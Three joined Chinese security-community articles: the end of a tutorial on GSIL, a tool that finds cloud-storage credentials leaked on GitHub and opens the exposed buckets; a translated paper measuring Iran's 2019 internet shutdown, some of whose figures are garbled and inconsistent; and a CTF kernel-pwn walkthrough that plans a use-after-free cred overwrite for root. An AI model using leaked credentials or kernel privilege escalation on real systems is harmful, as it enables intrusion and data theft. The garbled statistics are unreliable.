"mode": "normal-match",
"ext": "php,java,python,go,js,properties"
}
}
}
}
之后我们查看一下GitHub的token是否可以使用（如果不可以使用则使用之前介绍的流程重新生成一个token即可）
之后使用Python3运行该项目并且添加搜索配置的名称，之后就开始调用GitHub的相关查询接口来更具搜索匹配规则来进行匹配查询信息：
之后你会在你之前配置文件中配置的接受邮箱中收到查询到的信息：
之后查看邮箱详情即可看到相关的OSS链接敏感信息
点击链接即可查看GitHub中的源文件信息
之后使用oss-browser来链接看看：
发现可以成功接入并且可以查看敏感信息
还有其他的就不一一列举了，总之这款工具还是挺强大的~
PS：在默认情况下该工具只会再搜素结果中匹配前200项的内容，但我们可以修改文件来更改搜索的范围页数等
这里只是简单的举了一个oss存储桶的例子，用户可以根据自我的需要来配置搜索规则，之后采集GitHub中泄露的敏感信息，进行深入利用等，该工具也同样适用于甲方安全人员。
### 参考
<https://feei.cn/gsil/>
<https://github.com/FeeiCN/GSIL> | 社区文章 |
**作者：Antonio Mangino 、Elias Bou-Harb（美国德克萨斯大学圣安东尼奥分校网络安全和分析中心）
原文链接：[A Multidimensional Network Forensics Investigation of a State-Sanctioned
Internet
Outage](https://www.researchgate.net/publication/350499300_A_Multidimensional_Network_Forensics_Investigation_of_a_State-Sanctioned_Internet_Outage "A Multidimensional Network Forensics Investigation
of a State-Sanctioned Internet Outage")
翻译：知道创宇404实验室
译文PDF：[对国家主导的断网的多维网络取证调查](https://images.seebug.org/archive/%E5%AF%B9%E5%9B%BD%E5%AE%B6%E4%B8%BB%E5%AF%BC%E7%9A%84%E6%96%AD%E7%BD%91%E7%9A%84%E5%A4%9A%E7%BB%B4%E7%BD%91%E7%BB%9C%E5%8F%96%E8%AF%81%E8%B0%83%E6%9F%A5.pdf
"对国家主导的断网的多维网络取证调查")**
摘要：2019年11月，伊朗政府强制实施为期一周的全面断网，阻止了大部分互联网接入国内。本文阐述了伊朗断网的特点，通过互联网规模，近实时网络流量对事件展开测量。从调查扫描互联网的受影响设备开始，分析了近50TB的网络流量数据。本文发现了856625个受影响的IP地址，其中17182个属于伊朗。到互联网关闭的第二天，这些数字分别下降了18.46%和92.81%。对物联网（IoT）模式的实证分析显示，90%以上受影响的伊朗主机为物联网设备，在整个关闭过程中出现了显著下降（到断网第二天下降了96.17%）。进一步的检查将BGP可达性度量和相关数据与地理定位数据库相关联，以统计评估可连接的伊朗网关的数量（从大约1100个下降到200个以下的可连接的网络）。深入调查揭示了受影响最大的网关，为此类关键网络的纵向断开提供了网络取证。最后，强调了此次断网对比特币挖矿市场的影响，发现了比特币市场未成功（即未决）交易的激增。综合起来，这些网络流量测量提供了伊朗断网的多维视角。
索引词：断网，互联网背景辐射，物联网，网络取证
### 1.介绍
当今全球地缘政治中，内乱和抗议活动骤然增多。从南美洲到亚洲，各个国家的公民都开始表达他们对政府权威或相关法律政策的不满。持续的内乱可能会在全国范围内造成经济、外交和军事方面的影响。伊朗最近的抗议活动导致美伊外交关系紧张，一架乌克兰客机在伊朗领空上空被击落，多个国家的176人丧生，此后两国关系更加紧张。为了防止运动规模增大，伊朗政府实施了互联网关闭。从2019年11月16日开始，持续整整一周，伊朗公民无法使用互联网进行通信，无法进行金融交流，也无法连接到日常活动所需的大量应用程序。虽然之前也发生过国家主导的互联网审查（例如，土耳其对维基百科的三年禁令以及伊拉克对社交媒体的禁令），而伊朗此次的断网是最彻底的一次，媒体人士通常称之为全面关闭。为此，本文多维地、实证地分析伊朗国家主导的断网，并对此提出了自己的见解。
#### 1.1 研究目的
伊朗国家主导的互联网关闭是一个历史性的重要事件，表明政府正在采取不断升级的措施，以平息内乱。社会越来越依赖有弹性的互联网连接，但各国政府现在却有了一个几乎切断本国互联网连接的先例。为了提供实证测量和量化伊朗断网的规模，本文提供了从各种互联网规模的角度观察和分析的有见地的网络流量测量，而本次伊朗断网可能成为未来国家主导的审查事件的先例。
#### 1.2 贡献
由于猛烈的全球地缘政治动荡以及分析和记录这一重大事件以进行历史分析的必要性，本文为具体衡量伊朗国家主导的断网提供了以下贡献：
* 从宏观角度解读事件
之前的一些工作通过使用大规模网络流量和互联网背景辐射来实证研究断网[1–3]。本文通过分析近50TB的近期互联网规模，以及两周时间间隔内的宏观网络流量，汇总了最近伊朗互联网关闭期间生成的数据指标，提供了独特的见解。这些数据显示，每天有80万个主机地址主动接入互联网，在伊朗断网高峰期下降到698532个。此外，伊朗的国家指标显示，伊朗地址受影响的人数大幅减少，从事件前的17677人减少到事件低点的1896人（减少89.3%）。此外，还有分析显示，伊朗网络空间的90%以上由物联网设备组成[4]（16296个物联网设备与886个非物联网设备）。
* 网关级BGP路由可用性分析
先前对边界网关协议（BGP）在全国范围内断网期间的可达性进行的调查使我们获得了对网关级别的见解[5]。本文使用BGP流量实用程序，以捕捉跨度两周的BGP路由可用性。地理定位和国别分析显示，伊朗断网使网关可达性下降了近85%（11月14日为1120个网关，11月20日为173个网关）。从多个全球有利点对BGP可达性的进一步比较揭示了许多不一致之处，表明了伊朗可能对其他国家的IP地址进行了全国范围的过滤。北美和澳大利亚的BGP节点无法与阿富汗等国通信，而南美和非洲的BGP节点却没有收到相同的连接错误。
* 对全球比特币交易所的影响分析
对比特币加密货币市场的分析显示，因2019年11月伊朗互联网的关闭，成功交易大幅减少。近几年来，随着全球矿商和交易所的迅速扩张，全时外汇市场出现了爆炸性增长，出现了提供纯粹的“在线”网络测量的体系。全球大约25%的比特币交易被切断（11月14号的350023笔交易，11月17日的264370笔交易）。如此大规模的断网导致加密交易的大量延迟，用于存储暂停事务的内存池聚合内存突然膨胀（最大等待大小达到89770655字节）。
本文的其余部分如下。下一节列举了我们的数据汇总和方法，第3节报告了我们的结果，提供了伊朗互联网关闭的详细测量。第4节简要回顾了相关的工作，第5节总结了本文的贡献，同时指出了一些未来感兴趣的话题。
### 2.方法和数据汇总
在这里，我们讨论为本文汇编的各种数据源，以及进行大规模网络流量测量所采用的方法。
#### 2.1 IBR集合
为了提供一个宏观的、互联网规模的IBR视角，我们使用了由应用互联网数据分析中心（CAIDA）运营的a/8网络运动传感器。CAIDA网络运动传感器由超过1600万个分配的IP地址组成，可以路由，但不提供任何服务。在此之前，收集到的网络流量是未经请求的，并且通常是由入侵设备接入互联网空间以试图传播而产生的。这样一个广泛的网络运动传感器提供了非常好的可视化主动互联网流量。CAIDA传感器每天收集大约3.6
TB的网络流量。监测近两周的全球IBR（2019年11月14日- 11月25日），该传感器在全球范围内捕获了近50TB全球生成的IBR-提供了与伊朗互联网关闭相关的综合数据集。
#### 2.2 推断主机节点
接下来，开发了Treshold Random
Walk（TRW）探测算法[6]，用于提取压缩源地址生成的包流。类似于Rossow[7]所提议的方法。TRW算法识别聚合IBR中的恶意端口扫描。为了确认这些主机有意扫描网络运动传感器，并且收集的流量不是配置错误的产物，这些设备被描述为在300秒的时间间隔内发送64个数据包。我们还使用各种公开的列表筛选出典型的良性扫描仪。如果在该时间间隔内未收到任何数据包，并且未满足数据包阈值，则流将被丢弃，并且不会被视为受到攻击/未经请求的主机。从收集到的IBR中，使用TRW算法发现了大约850000个不同的，全球范围内每天扫描的主机。
#### 2.3 应用指纹技术的物联网设备
在发现受影响的主机后，进一步分析将物联网设备与发现正在扫描的非物联网设备进行分类。为了实现这一点，本文使用了Pour等人开发的技术。在被动收集的横幅上操作一组学习算法，并结合主动探测。该技术使用了广泛的功能集，包括IP/TCP数据包头字段和TCP选项[10]。这样的分组信息容易从IBR数据中获得，并且通过主动收集服务横幅能够进一步增强。该技术进一步对每个识别的IP地址进行即时反向扫描，以探测近50个端口和服务，这些扫描旨在检索服务横幅和应用程序级协议详细信息（例如HTTP(s)、TELNET、
SMTP(s)、SSH、FTP等）。不安全的物联网设备通常会对此类扫描作出响应，以包含重要操作系统信息（例如embedded、RouterOS、FritzOS）的基于文本的横幅进行响应，以便在物联网设备指纹识别期间使用。读者如果对所使用技术及其详细操作方法感兴趣，请参阅[8,9]。
本文提出了一种Random
Forest（RF）分类器作为所使用的技术的一部分，该技术每天识别超过250000个全球和16000个伊朗物联网设备。采用浅层机器学习分类器（如RF模型）可减少处理时间和复杂性，同时提供准确的特征和可解释的特征集。
#### 2.4 调查AS可达性
在对全球被使用的设备进行指纹识别后，我们采用了二维方法纵向测量其可达性。首先，使用MaxMind Ge-oLite
2数据库对所使用的TRW算法确定的受影响的主机进行地理定位。确定了位于伊朗IP地址以及邻国（如阿富汗、土耳其等）的网络块。发现由将近150个伊朗的网关托管这种被破坏的设备。接下来，我们通过使用CAIDA的BGPStream框架来细化测量[5]。BGPStream框架由多国节点组成，不断地扫描Internet空间以寻找可使用的网关（例如/24网络）。这些扫描检索到的信息包括直接从响应路由器、其路由表和相邻对等方检索到的BGP路由。
图1:扫描互联网的受影响的物联网设备和非物联网（桌面）机器的总数
通过BGP探测发现了1000多个位于伊朗的网关，在伊朗断网期间下降到略低于200的低点。
#### 2.5 CAIDA IODA项目
我们通过分析和检验从CAIDA的IODA项目中获得的测量数据来验证我们的发现[11]。IODA项目通过分析IBR、进行ICMP扫描和执行BGP分析以进行操作监控，提供全面的网络测量。IODA发布的数据提供伊朗互联网关闭的详细测量，且通过补充网关水平和地理结果，对本文的结论作出了贡献。
### 3.实证结果
为了阐明伊朗断网的影响，我们论证说明伊朗互联网的状况。这一部分列举了对伊朗互联网空间进行的多维测量。
#### 3.1 发现受影响设备
通过分析近50TB的IBR发现，有856625台设备在扫描互联网空间，如图1所示。在伊朗断网的第一天，全球受影响设备（819392个地址）减少了4.35%，而第四天发现的记录设备数量最低，减少了18.46%（698532个地址）。虽然如此显著的下降不仅仅是由于伊朗互联网的关闭，在对伊朗特定设备的分析中发现了相关的趋势。在使用MaxMind
GeoLite数据库之后，对被使用的设备进行了地理定位，并发现了伊朗地址以供进一步处理。
对伊朗IP地址的调查显示，11月15日，182个受影响的伊朗地址扫描网络空间，如图2a所示。在断网的第一天，活跃生产IBR的主机数量急剧下降，下降了78.24%（3739个唯一地址）。到11月20日，伊朗的连通性达到了最低点，只有1237正在扫描的设备（下降92.80%）。11月起，伊朗政府在其首都德黑兰重启网络，与之相应，使用设备增长了26.67%。我们的研究还表明了伊朗网络的逐步恢复，其于11月24日大致回归常态。（14727台受影响设备，85.71%回归正常）为了证实我们针对伊朗的测量结果，我们提供了网络空间搜索引擎ZoomEye发布的公开数据，如图2b所示。网络空间搜索引擎不断地扫描互联网空间，努力识别具有开放端口和服务的面向互联网的设备。ZoomEye发表的统计数据显示与我们的研究结果有直接的相关性。11月14日识别到15502台伊朗受影响设备，11月20日降至1084（下降93.01%），达到最低点。伊朗断网几乎立竿见影，导致出站网络流量急剧下降。
#### 3.2 识别被使用的物联网设备
在识别出全球和伊朗特定的受影响的主机之后，我们通过上述浅层机器学习分类器识别出被使用的物联网设备。11月14日检测到的伊朗受影响设备数为17182台，其中16296被鉴定为物联网设备。将近94.8%的伊朗IP地址是物联网，因此需要对伊朗物联网设备与非物联网的传统机器进行纵向分析。这些研究结果并不完全出乎意料，机器学习分类器的研发人普尔等人称伊朗有全世界受影响的设备的10.17%。我们的研究发现11月14日伊朗有16296台物联网设备，占全世界总数2544408台的7.32%。
图2:分别从IBR和ZoomEye发现的伊朗设备总数
表1：按发现的IP地址计数排名靠前的伊朗网关
伊朗物联网设备受伊朗断网影响最大，截至11月17日，78.23%的设备不再接入互联网（2776台物联网设备，减少82.97%）。伊朗物联网专用连接在11月20日达到最低点，仅发现624个扫描设备（减少96.17%）。物联网设备下降96.17%（624台）。
对伊朗物联网设备和非物联网设备之间差异的进一步调查显示，受断网影响的物联网设备数量高于传统计算机。11月15日，受断网影响的设备组成比例分别为18.39物联网和1.00非物联网（16296物联网和886非物联网设备）。然而，到11月20日，这一比率分别降至1.02物联网和1.00非物联网（624物联网和613非物联网设备）。探测到的伊朗物联网设备的数量下降了96.17%，而非物联网设备中只有56.12%受到影响，如图3所示：
图3: 受影响的伊朗物联网设备与非物联网设备的比率
造成如此差异的一个原因可能是物联网和非物联网设备的实际扫描技术。由于物联网设备以较低的吞吐量进行扫描，一旦这些速率因互联网关闭而降低，它们就不再被目前所有的技术识别。因此，由于非物联网设备通常以更高的频率扫描互联网空间，断网对其可识别性的影响较小。
#### 3.3 网关可达性研究
在确认来自伊朗互联网空间的受影响的扫描仪设备后，我们将已知设备归为他们的互联网服务提供商和相关的网关。11月15日，检测到145个伊朗的网关的网络流量。11月20日为93（下降35.86%），为所发现的伊朗网关最低数。伊朗的网关通信没有看到与主动通信设备下降相当的大幅下降；但是，通信受阻的网关覆盖了最多的受影响设备。我们的研究结果对此提供了证据，证明伊朗政府专门针对更大的网关，将其网络断开，埃及政府在2011年的审查中也使用了这一策略。
表1显示了伊朗受影响设备的数量最大的网关，以及被伊朗政府切断连接的日期。最大的网关连接了48159台设备，在11月15日托管了3518个被使用的地址。到11月17日，只有298个地址在使用，到11月18日，只有1个地址在使用。同样地，表中总结的大多数网关在这方面也出现了大幅下降。11月17日，大多数设备完全断网。
到11月18日（17565808525124台设备与主机断连），这些网关直到11月22日才开始恢复，到11月24日达到接近峰值的数量。有趣的是，许多特定的网关没有受到相同程度的影响。例如，网关16322遭受90.05%的下降（网关48159下降99.99%），但从未跌破160个活动地址。网关43754和42337也有类似的趋势，表明这些网关可能承载了关键的或重要的网络，因此免于完全断开连接。
与我们的IBR结果相比，本文使用了6个BGPStream节点来检索全局BGP可达性数据。这些节点位于北美、南美、非洲和澳大利亚。图4a显示了北美、南美和澳大利亚节点发现的可到达伊朗网关的总数。这些结果彼此相当一致，说明在整个伊朗互联网关闭期间，可访问的网关从大约1000个大幅下降到200个。然而，比较每个节点的结果发现BGP扫描数据普遍不一致，如图4b所示。位于智利的节点接收到的伊朗网关可到达响应数最高（11月15日的峰值为5114，紧随其后的是位于非洲的节点（11月15日峰值为3390）。
(a) 通过BGP扫描发现的可访问的伊朗网关总数 （b）BGP扫描数据不一致
图4: 网关可达性 来自BGPStream实用程序[5]
而位于加州的节点收到的结果却少得多，从未收到超过550条响应。节点之间的其他比较显示了伊拉克、巴基斯坦、阿富汗、沙特阿拉伯和土耳其的大致相同的接收数据。事实上，如果发送到阿富汗IP地址空间的所有BGP数据包不是来自位于非洲的节点，那么这些数据包都会被丢弃，而南美节点会在特定的日子收到响应。这些发现暗示了伊朗政府在全国范围内根据特定地址来源国对其进行过滤。
#### 3.4 比特币加密货币交易所的检查
评估Blockchain.com提供的比特币加密货币交换数据，我们研究了伊朗断网与全球比特币挖矿趋势之间的相关性。虽然这些相关性可能不仅仅是由伊朗断网造成的，但研究“纯在线”的流量测量比特币加密货币等市场为全球互联网连接提供了另一种视角。而且成功的比特币交易揭示了与伊朗断网的线性关系。11月15日，325145笔比特币交易成功进行；然而，11月16日仅完成283468笔交易（下降12.82%）。截至11月17日，只有264370笔比特币交易最终成交（下降18.69%）。虽然加密货币市场相对不稳定，但这并不一定意味着开采或出售的比特币数量减少。更有可能是市场上出现了瓶颈，或报价未完成，或等待内存处理和出售。为了给这种符号性减少提供相关性检验，我们研究了聚合内存池中等待处理的总数量（当前节点帮助等待处理的事务的位数）。
先前成功交易量的典型下跌，例如从10月5日开始（32683笔交易）至10月6日（277613笔交易），但并没有未决交易的大幅增加（分别为4403至4057）。然而，从11月14日开始的交易量下降达到了峰值，达到了15088笔待处理交易。此外，总的内存池规模急剧膨胀。大小达到89770655位，比特币内存池总量周增长85.91%，与前一周的高点1264599位形成对比。因此我们可以确定，2019年11月全球比特币加密货币交易量的下降是一个特殊事件，而比特币市场最近出现了瓶颈。在2020年2月的头几周，针对伊朗互联网基础设施的大规模分布式拒绝服务攻击使伊朗的连接能力下降了近25%。比特币加密货币市场也受到了类似的影响，内存池的最大值为27351731位，高于前一周的峰值13559610位（增长101.71%）。这突出了伊朗断网与全球比特币市场之间的关系。这种相关性可能是由许多因素造成的，主要是伊朗大量开采加密货币的设备[12]。
### 4.相关工作
在本节中，我们将研究有助于大规模网络流量测量的相关工作。具体来说，我们讨论了断网特征和基于预测的方法，并列举了大规模断网的分析度量。
#### 4.1 大规模断网的预测和分类
尽管社会依赖于可靠的互联网连接，但断网仍然频繁发生。Aceto[13]等人对互联网普遍断网进行了全面调查，提出了断网分类的准则，同时系统分析了调查大规模断网事件的相关方法。此外，Quan[14]等人构建了一个基于ICMP的模型来识别全球断网，通过定期探测互联网空间，本文研究了整个互联网的稳定性。此外，改进了他们的断网检测系统。Quan等人后来开发了三目[15]，使用ICMP探测来扫描网络空间并检测断网事件，用一个高效、低交互的模型来确定兴趣点。这些研究说明了断网的多样性。尽管一些事件可能只持续几分钟或影响到少数人，但全国范围内的断网可能会削弱关键基础设施。对于国家主导的断网而言，一些重要的国家网络将会得以保持。我们的研究发现，在此次伊朗断网期间，一部分应用于政府和基础设施的网络得以保持。
#### 4.2 国家主导的断网的实证测量
以前研究大规模断网的研究通常可分为两类：通过主动探测（如BGP或ICMP扫描）进行断网识别，以及通过分析互联网背景辐射（IBR）进行断网识别。Shavitt[16]等人对2011年阿拉伯之春进行了有效的调查。使用了363万个路由跟踪测量，说明了阿拉伯之春期间埃及、利比亚和叙利亚互联网的状况。Dainotti[17]等人使用有源BGP域间探测和分析IBR对2011年埃及和利比亚的断网进行了类似的调查。最近，Guillot等人开发了断网检测分类器Chocolatine[18]。使用网络运动传感器对互联网规模的IBR进行了调查，发现其趋势是一致的；来自每个地理网关的扫描IP地址数保持不变。使用这些观测，sea-sonal ARIMA被用于时间序列预测，预测和评估从单个网关生成IBR的唯一IP地址的数量，将偏差或下降归因于断网。
原先提及的文献介绍了通过主动探测和IBR分析来识别和测量断网的方法。同样，本研究也使用BGP域间路由表和互联网规模的网络运动传感器，对伊朗互联网关闭事件进行了独特的调查和分析。此外，收集的IBR分类揭示了有关伊朗物联网的特定见解，并发现了关键运营网关的系统性关闭。
### 5.结束语
本研究实证性衡量了一个国家级的审查事件。通过处理近50TB的未经请求的互联网背景辐射，发现超过17000台受影响设备从伊朗IP空间扫描全球互联网，其中16296台属于物联网。此外，我们的研究结果表明伊朗网关可达性急剧下降（145个活跃网关下降到93个）。此外，我们还发现由于对特定IP地址空间进行全国范围的过滤而导致的全局BGP不一致性。最后，我们分析了比特币加密货币市场，揭示了成功交易相对于存储未决交易的内存池内存量的减少。未来的工作可以提供对网络分组的深入分析，特别是物联网设备分组。此外，未来使用加密节点或相关基础设施[19]来描述断网的研究将会提出与互联网路由和连接相关的更有效的结论。
### 6.参考文献
[1] Karyn Benson el al. Gaining insight into as-level outages through analysis
of internet background radiation. In 2013 IEEE Conference on Computer
Communications Workshops (INFOCOM WKSHPS), pages 447–452. IEEE, 2013.
[2] Ryan Bogutz, Yuri Pradkin, and John Heidemann. Identifying important
internet outages (extended). Technical report, TR ISI-TR-735, USC/ISI, 2019.
[3] Farooq Shaikh, Elias Bou-Harb, Nataliia Neshenko, Andrea P Wright, and
Nasir Ghani. Internet of malicious things: Correlating active and passive
measurements for inferring and characterizing internet-scale unsolicited iot
devices. IEEE Communications Magazine, 56(9):170–177, 2018.
[4] Nataliia Neshenko, Elias Bou-Harb, Jorge Crichigno, Georges Kaddoum, and
Nasir Ghani. Demystifying iot security: an exhaustive survey on iot
vulnerabilities and a first empirical look on internet-scale iot
exploitations. IEEE Communications Surveys & Tutorials, 21(3):2702–2733, 2019.
[5] Chiara Orsini et al. Bgpstream: a software framework for live and
historical bgp data analysis. In Proceedings of the 2016 Internet Measurement
Conference, pages 429–444, 2016.
[6] Elias Bou-Harb, Mourad Debbabi, and Chadi Assi. A novel cyber security
capability: Inferring internet-scale infections by correlating malware and
probing activities. Computer Networks, 94:327–343, 2016.
[7] Christian Rossow. Amplification hell: Revisiting network protocols for
ddos abuse. In NDSS, 2014.
[8] Morteza Safaei Pour et al. Data-driven curation, learning and analysis for
inferring evolving iot botnets in the wild. In Proceedings of the 14th
International Conference on Availability, Reliability and Security, page 6.
ACM, 2019.
[9] Morteza Safaei Pour et al. On data-driven curation, learning, and analysis
for inferring evolving internet-of-things (iot) botnets in the wild. Computers
& Security, page 101707, 2019.
[10] Elias Bou-Harb, Nour-Eddine Lakhdari, Hamad Binsalleeh, and Mourad
Debbabi. Multidimensional investigation of source port 0 probing. Digital
Investigation, 11:S114–S123, 2014.
[11] Internet outage detection and analysis (ioda). https://www.
caida.org/projects/ioda/.
[12] Iran seizes 1,000 bitcoin mining machines after power spike.
https://www.bbc.com/news/technology-48799155, 2019.
[13] Giuseppe Aceto, Alessio Botta, Pietro Marchetta, Valerio Persico, and
Antonio Pescape. A comprehensive survey on in- ´ ternet outages. Journal of
Network and Computer Applications, 113:36–63, 2018.
[14] Lin Quan et al. Detecting internet outages with precise active probing
(extended). USC/Information Sciences Institute, Tech. Rep, 2012.
[15] Lin Quan, John Heidemann, and Yuri Pradkin. Trinocular: Understanding
internet reliability through adaptive probing. ACM SIGCOMM Computer
Communication Review, 43(4):255– 266, 2013.
[16] Yuval Shavitt and Noa Zilberman. Arabian nights: Measuring the arab
internet during the 2011 events. IEEE Network, 26(6):75–80, 2012.
[17] Alberto Dainotti et al. Analysis of country-wide internet outages caused
by censorship. In Proceedings of the 2011 ACM SIGCOMM conference on Internet
measurement conference, pages 1–18, 2011.
[18] Andreas Guillot et al. Chocolatine: Outage detection for internet
background radiation. In 2019 Network Traffic Measurement and Analysis
Conference (TMA), pages 1–8. IEEE, 2019.
[19] Elias Bou-Harb. A brief survey of security approaches for cyber-physical
systems. In 2016 8th IFIP International Conference on New Technologies,
Mobility and Security (NTMS), pages 1–5. IEEE, 2016.
* * * | 社区文章 |
## 内核环境搭建：
这里建议用qemu+gdb环境来调试，并且建议使用Ubuntu14.04，所需要的东西有：
* qemu
* busybox
其中busybox的作用是构建一个简单的文件系统和命令，以此配合内核的启动。
### 编译内核：
#### 1.安装依赖：
sudo apt-get update
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system
#### 2\. 下载源码：
> <https://mirrors.edge.kernel.org/pub/linux/kernel/>
#### 3\. 解压后设置：
在源码目录：
> make menuconfig
#### 4\. 内核生成：
> make bzImage
生成的bzImage在/arch/x86/boot/下，vmlinux在源码根目录，前者为压缩内核，后者为静态编译，未经压缩的kernel。
### 编译busybox：
#### 1\. 下载：
> <https://busybox.net/downloads/busybox-1.30.0.tar.bz2>
#### 2\. 解压后设置：
> make menuconfig
进设置后，勾上Build static binary (no shared libs)
#### 3\. 编译：
> make install -j4
#### 4\. 打包、内核初始化：
cd _install
mkdir proc
mkdir sys
touch init
chmod +x init
touch packet
init中内核初始化：
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
# insmod /xxx.ko
mdev -s # We need this to find /dev/sda later
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
# exec /bin/sh #root
insmod为加载指定内核，如果加了-s则为调试选项。
packet中写入，文件打包：
#!/bin/sh
find . | cpio -o --format=newc > ./rootfs.img
## 实战熟悉kernel pwn流程：
用CISCN里的babydriver来练手，了解整个流程：
三个文件，rootfs.cpio代表前面所说的文件命令系统，也就是磁盘。需要解压，解压有特殊的解压方法，需要先用gunzip，但是gunzip认后缀不认文件格式，所以需要重命名下文件格式：
mkdir driver
cd driver
mv ../rootfs.cpio rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < rootfs.cpio
当更改了其中的文件的时候，需要重新打包一下：
find . | cpio -o --format=newc > rootfs.cpio
boot.sh文件是qemu的启动脚本：
#!/bin/bash
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -gdb tcp::1234
* -initrd 指定一个硬盘镜像文件
* -kernel 指定内核镜像
* -append 附加选项，指定no kaslr可以关闭随机偏移
* -m 指定内存大小
* -cpu 设置cpu安全选项，这里开启了smep保护
* -smp 设置内核数和线程数
* -s 和上面的-gdb tcp::1234相同，即-s是他的缩写，不需要重复写
接下来进入解压出来的硬盘文件里看看，主要看init文件，该文件是内核启动时的设置：
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
其中insmod就是所加载的驱动babydriver.ko，我们所要利用的就是这个文件。所以需要我们从上面所示的文件夹中把这个驱动提取出来。为了方便后续的调试我们需要将`setsid
cttyhack setuidgid 1000 sh`改为值时0的root权限。
以上就是初期所需要做的所有工作。接下来开始按pwn的常规思路来解。
#### babyioctl：
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}
该ioctl函数是驱动的核心函数，当参数为0x10001时，释放babydev结构体的缓冲区，并重新分配一个大小为第二参数值的空间。
#### babyopen：
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
使用open时创建一个64大小的缓存块，初始化了babydev结构体。
#### babyrelease：
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
关闭时释放babydev的缓冲区。
#### babywrite：
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}
write函数先判断写入个数的值是否大于babydev的最大长度，否则成功写入。
#### babyread：
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}
也是babywrite一样的正常检查。
这里如果按正常思路来想是很难发现有漏洞的，关键就出在结构体容量就一个，所以如果后续又open了一个驱动，那么后来的驱动就会覆盖掉前者的驱动。如果free掉前者，那么后者就成了一个悬挂指针，产生UAF漏洞。
如何利用这个UAF，那么必须得知道cred这个结构体，可以通过cred来提权。
cred结构体：
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
该结构体记录了进程的权限，每一个进程中都有一个cred结构体，如果修改了这个cred结构体那么也就修改了权限。得知cred结构体大小可以自己计算，或者直接调试利用sizeof查看大小，每个内核版本的cred大小都不同。
那么如何修改该结构体，当然用write函数，因为该处有UAF漏洞，那么让cred结构体出现在UAF处即可用write直接修改cred。该怎么让cred出现在此处，答案是新建一个cred，那么就可以用fork函数产生一个新进程，新进程就会创建一个新的cred了，所以我们就有如下的思路：
1. open一个驱动
2. 再open一个驱动，覆盖第一个
3. free第一个驱动，malloc一个大小为cred大小的空间，产生UAF
4. fork一个新进程，让新进程的cred恰好在上面所malloc的空间中
5. 利用babywrite向第二个驱动写，相当于修改cred结构体，提权
这里主要提一下调试的时候的注意点：
gdb起：
> gdb ./vmlinux -q
这里如果没有vmlinux文件，可以利用[extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)提取：
> ./extract-vmlinux ./bzImage > vmlinux
这里还需要导入驱动文件的符号表：
> add-symbol-file ./***.ko 0xFFFFFFFFFFFFFF
后面的地址为.text段的地址，可以直接从qemu中查看：
/ # cat proc/modules
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
